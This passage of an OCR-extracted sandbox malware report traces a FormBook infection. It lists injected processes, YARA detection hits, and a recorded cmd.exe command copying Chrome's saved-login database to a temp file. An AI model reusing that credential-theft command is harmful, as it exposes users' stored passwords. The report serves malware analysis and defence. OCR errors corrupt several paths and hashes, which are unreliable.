e Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.1016394094.0000000000690000.00000040.00000001.sdmp,
Author: JPCERT/CC Incident Response Group

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 157C97 NtReadFile
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Analysis Process: wlanext.exe PID: 5872 Parent PID: 3472
General
Start time: 10:03:14
Start date: 03/12/2020
Path: C:\Windows\SysWOW64\wlanext.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\wlanext.exe
Imagebase: 0x180000
File size: 78848 bytes
MD5 hash: CD1ED9A48316D58513D8ECB2D55B5C04
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Copyright null 2020 Page 91 of 97



Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000002.292339474.0000000002610000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000009.00000002.292339474.0000000002610000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000002.292339474.0000000002610000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 2627C97 NtReadFile
Analysis Process: Accfdrv.exe PID: 5488 Parent PID: 3472
General
Start time: 10:03:15
Start date: 03/12/2020
Path: C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

Copyright null 2020

true

‘C:\Users\user\AppData\Local\Microsoft\Windows\Accfdrv.exe
0x400000

1375232 bytes

8477C9B80B4B7796F904EC72ABESFF71

true

true

Borland Delphi

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000C.00000002.291702047.0000000004D34000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000C.00000002.291702047.0000000004D34000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000C.00000002.291702047.0000000004D34000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000C.00000002.291786561.0000000004DC0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000C.00000002.291786561.0000000004DC0000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:

0000000C.00000002.291786561.0000000004DC0000.00000040.00000001.sdmp,

Author: JPCERT/CC Incident Response Group

Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible

shortcut usage for .URL persistence, Source:

0000000C.00000002.291050180.0000000004AD7000.00000020.00000001.sdmp,

Author: @itsreallynick (Nick Carr)

Rule: Methodology_Suspicious_Shortcut_lconNotFromExeOrDLLOrICO, Description:

Detects possible shortcut usage for .URL persistence, Source:

0000000C.00000002.291050180.0000000004AD7000.00000020.00000001.sdmp,

Author: @itsreallynick (Nick Carr)

.

.

low

Source
Access Attributes Options Completion Count Address Symbol
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File Path

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies

File Written

File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\B87Z287FM\Accfcxz[1]

File Path

Copyright null 2020

Access Attributes Options

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

Offset Length Value

unknown 1025

33 34 64 34 39 33 30
33393338373135
37 353334643439
33 303339333837
313537 3533 3464
34 39 3330333933
3837 3135373533
34 64 34 39 33 30 33
39333837313537
3533 3464 343933
30333933383731
3537 35333464 34
3933 3033393338
373135373533 34
64 34 39 33 30 33 39
333837313537 35
33 34 64 34 39 33 30
33393338373135
37 35333464 3439
33 303339333837
313537 3533 34 64
34 393330333933
3837 3135373533
34 64 34 39 33 30 33
39333837313537
3533 3464 3439 33
303339333837 31
3537 35333464 34
39333033393338
373135373533 34
64 34 39 33 30 33 39
333837313537 35
33 34 64 34 39 33 30
33393338373135
37 353334643439
33 303339333837
313537

Completion

Count

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse
point

directory file | object name collision 1

synchronous io
non alert | open
for backup ident
| open reparse

Source
Address Symbol

425D3F5 InternetOpenUrlA

425D3F5 InternetOpenUrlA

425D3F5 InternetOpenUrlA

425D3F5 InternetOpenUrlA

425D3F5 InternetOpenUrlA

425D3F5 InternetOpenUrlA

Source

Count Address Symbol

point
Ascii
34d493039387157534d493 success or wait 723
03938715
7534d493039387157534d4
93039387
157534d493039387157534
d4930393
87157534d4930393871575
34d49303
9387157534d49303938715
7534d493
039387157534d493039387
157534d4
93039387157534d4930393
87157534
d493039387157534d49303
93871575
34d493039387157
Offset Length Completion

425D45C InternetReadFile

Source
Count Address Symbol
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Analysis Process: ieinstal.exe PID: 6284 Parent PID: 5488

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

10:03:17

03/12/2020

C:\Program Files (x86)\Internet Explorer\ieinstal.exe
true

C:\Program Files (x86)\internet explorenieinstal.exe
0x820000

480256 bytes
DAD17AB737E680C47C8A44CBB95EE67E

true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000010.00000002.290677967.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000010.00000002.290677967.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000010.00000002.290677967.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Windows\SysWOWe64\ntdll.dll 0 1622408 success or wait 1 417C97 NtReadFile
Analysis Process: ieinstal.exe PID: 6548 Parent PID: 3472
General
Start time: 10:03:33
Start date: 03/12/2020
Path: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

'C:\Program Files (x86)\internet explorer\ieinstal.exe'
0x820000

480256 bytes
DAD17AB737E680C47C8A44CBB95EE67E

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: ieinstal.exe PID: 6688 Parent PID: 3472
General
Start time: 10:03:40
Start date: 03/12/2020
Path: C:\Program Files (x86)\Internet Explorer\ieinstal.exe

Wow64 process (32bit):
Commandline:

Imagebase:

Copyright null 2020

true
'C:\Program Files (x86)\internet explorer\ieinstal.exe'

0x820000
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File size: 480256 bytes

MDS5 hash: DAD17AB737E680C47C8A44CBB95EE67E
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: cmd.exe PID: 6292 Parent PID: 5784

General

Start time: 10:07:10

Start date: 03/12/2020

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: Ic copy 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data’
‘C:\Users\user\AppData\Local\Temp\DB1' /VV

Imagebase: 0x150000

File size: 232960 bytes

MDS5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created

Source

File Path
C:\Users\user\AppData\Local\Temp\DB1

File Written

File Path

Copyright null 2020

Access Attributes

read data or list device
directory | read
attributes |

delete | write

dac |

synchronize |

generic read |

generic write

Length Value Ascii

Options Completion

sequential only | success or wait
non directory
file

Completion

Count Address Symbol
1 154E97 CopyFileEXW

Source
Count Address Symbol
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File Path
C:\Users\user\AppData\Local\Temp\DB1

File Read

File Path

Offset
0

Length Value Ascii

40960

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

C:\Users\user\AppData\Local\Temp\DB1

Source

Completion Count Address Symbol

53 51 4¢c 69 74 6520 SQLite format 3.....@
66 6f 72 6d 61 74 20
33 0008 00 01 0100
40 20 20 00 00 00 01
00 00 00 14 00 00 00
00 00 00 00 00 00 00
00 Ob 00 00 00 04 00
00 00 00 00 00 00 00
00000001000000 ..............
00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 01 00 2e

43 ¢1 05 00 00 00 01

07 fb 00 00 00 00 10

07 fb 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00 00 00 00 00

00 00 00

success or wait 1 154E97 CopyFileExW

Source

Offset Length Completion Count Address Symbol

unknown 512 success or wait 1 155742 ReadFile
unknown 65024 success or wait 1 168CA9 ReadFile

unknown 40960 success or wait 1 168CD3 ReadFile

Analysis Process: conhost.exe PID: 6272 Parent PID: 6292

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2020

10:07:11

03/12/2020
C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496
true

true

C, C++ or other language

high
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